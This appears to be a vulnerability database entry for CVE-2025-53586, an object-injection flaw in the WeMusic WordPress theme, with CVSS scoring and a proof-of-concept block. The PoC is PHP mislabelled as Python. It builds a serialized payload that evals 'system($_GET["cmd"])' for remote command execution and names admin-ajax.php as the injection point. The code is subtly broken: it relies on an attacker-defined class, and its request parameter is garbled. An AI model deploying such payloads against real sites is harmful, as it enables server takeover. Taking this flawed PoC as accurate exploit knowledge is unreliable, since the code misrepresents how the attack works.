Deserialization of Untrusted Data vulnerability in NooTheme WeMusic noo-wemusic allows Object Injection.This issue affects WeMusic: from n/a through <= 1.9.1.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
WeMusic主题 <= 1.9.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// CVE-2025-53586 PoC - WeMusic Theme Object Injection
// This is a conceptual proof of concept for educational purposes
// Attacker's serialized payload with malicious object
class MaliciousClass {
public $payload;
function __wakeup() {
// This magic method is called during deserialization
// Can be used to execute arbitrary code
eval($this->payload);
}
}
// Generate malicious serialized object
$malicious_obj = new MaliciousClass();
$malicious_obj->payload = 'system($_GET["cmd"]);'; // Command execution
$serialized_payload = serialize($malicious_obj);
echo "Malicious Payload: " . $serialized_payload . "\n";
echo "URL Encode: " . urlencode($serialized_payload) . "\n";
// Example attack vector - inject via vulnerable parameter
// POST /wp-admin/admin-ajax.php
// data: action=noo_ajax_action¶m=" . urlencode($serialized_payload)
?>